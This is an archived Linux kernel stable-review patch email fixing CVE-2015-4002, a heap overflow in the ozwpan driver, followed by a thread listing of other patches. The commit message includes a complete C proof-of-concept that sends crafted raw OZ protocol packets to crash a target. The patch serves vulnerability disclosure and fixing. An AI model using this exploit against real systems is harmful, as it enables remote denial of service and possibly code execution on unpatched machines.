[PATCH 3.13.y-ckt 016/122] ozwpan: Use proper check to prevent heap overflow

From	Kamal Mostafa <kamal@canonical.com>
Newsgroups	linux.kernel
Subject	[PATCH 3.13.y-ckt 016/122] ozwpan: Use proper check to prevent heap overflow
Date	2015-06-18 01:00 +0200
Message-ID	<pCutn-6Ve-81@gated-at.bofh.it> (permalink)
References	<pCu0j-6mo-39@gated-at.bofh.it>
Organization	linux.* mail to news gateway

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3.13.11-ckt22 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4002
BugLink: https://bugs.launchpad.net/bugs/1463444
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
Signed-off-by: Kamal Mostafa <kamal@canonical.com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 6c366c2..908a0b0 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
-					sizeof(struct oz_get_desc_rsp) + 1;
-			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
-			u16 total_size =
+			u16 offs, total_size;
+			u8 data_len;
+
+			if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
+				break;
+			data_len = elt->length -
+					(sizeof(struct oz_get_desc_rsp) - 1);
+			offs = le16_to_cpu(get_unaligned(&body->offset));
+			total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));
 			oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
 			oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
-- 
1.9.1

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Thread

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  [PATCH 3.13.y-ckt 109/122] ipvs: fix memory leak in ip_vs_ctl.c Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:40 +0200
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  [PATCH 3.13.y-ckt 090/122] Drivers: hv: vmbus: Add support for VMBus panic notifier handler Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200
  [PATCH 3.13.y-ckt 073/122] ACPI / init: Fix the ordering of acpi_reserve_resources() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200
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  [PATCH 3.13.y-ckt 072/122] svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200
  [PATCH 3.13.y-ckt 076/122] xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 00:50 +0200
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  [PATCH 3.13.y-ckt 026/122] 3w-9xxx: fix command completion race Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 034/122] powerpc/pseries: Correct cpu affinity for dlpar added cpus Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 018/122] ASoC: dapm: Enable autodisable on SOC_DAPM_SINGLE_TLV_AUTODISABLE Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 011/122] scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 043/122] ARM: dts: imx28: Fix AUART4 TX-DMA interrupt name Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 023/122] SCSI: add 1024 max sectors black list flag Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 024/122] 3w-sas: fix command completion race Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 017/122] ozwpan: unchecked signed subtraction leads to DoS Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 040/122] ARM: dts: imx23-olinuxino: Fix polarity of LED GPIO Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 020/122] ALSA: emu10k1: Fix card shortname string buffer overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 044/122] gpio: sysfs: fix memory leaks and device hotplug Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 039/122] ARM: mvebu: armada-xp-openblocks-ax3-4: Disable internal RTC Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 019/122] ALSA: hda - Fix mute-LED fixed mode Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 042/122] ARM: dts: imx25: Add #pwm-cells to pwm4 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 036/122] efivarfs: Ensure VariableName is NUL-terminated Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 041/122] ARM: dts: imx23-olinuxino: Fix dr_mode of usb0 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 030/122] tty/serial: at91: maxburst was missing for dma transfers Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 050/122] xen/events: Set irq_info->evtchn before binding the channel to CPU in __startup_pirq() Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 035/122] bridge/mdb: remove wrong use of NLM_F_MULTI Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 038/122] writeback: use |1 instead of +1 to protect against div by zero Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 016/122] ozwpan: Use proper check to prevent heap overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 046/122] RDMA/CMA: Canonize IPv4 on IPV6 sockets properly Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 045/122] drm/radeon: disable semaphores for UVD V1 (v2) Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 027/122] cdc-acm: prevent infinite loop when parsing CDC headers. Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 028/122] serial: xilinx: Use platform_get_irq to get irq description structure Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 048/122] drm/i915: Add missing MacBook Pro models with dual channel LVDS Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 049/122] xen/console: Update console event channel on resume Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 033/122] rbd: end I/O the entire obj_request on error Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 032/122] ALSA: emu10k1: Emu10k2 32 bit DMA mode Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 015/122] ozwpan: divide-by-zero leading to panic Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 037/122] x86/efi: Store upper bits of command line buffer address in ext_cmd_line_ptr Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 014/122] ozwpan: Use unsigned ints to prevent heap overflow Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 047/122] drm/i915: Assume dual channel LVDS if pixel clock necessitates it Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 022/122] drm/radeon: add SI DPM quirk for Sapphire R9 270 Dual-X 2G GDDR5 Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:00 +0200
  [PATCH 3.13.y-ckt 007/122] qla2xxx: remove redundant declaration in 'qla_gbl.h' Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 002/122] vhost/scsi: potential memory corruption Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 008/122] staging: wlags49_h2: fix extern inline functions Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 012/122] udf: Remove repeated loads blocksize Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 021/122] ALSA: emux: Fix mutex deadlock at unloading Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 006/122] staging: rtl8712, rtl8712: avoid lots of build warnings Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 010/122] kconfig: Fix warning "‘jump’ may be used uninitialized" Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 001/122] Btrfs: make xattr replace operations atomic Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 005/122] staging, rtl8192e, LLVMLinux: Remove unused inline prototype Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 013/122] udf: Check length of extended attributes and allocation descriptors Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 009/122] ARM: 8307/1: psci: move psci firmware calls out of line Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200
  [PATCH 3.13.y-ckt 004/122] kernel: use the gnu89 standard explicitly Kamal Mostafa <kamal@canonical.com> - 2015-06-18 01:10 +0200

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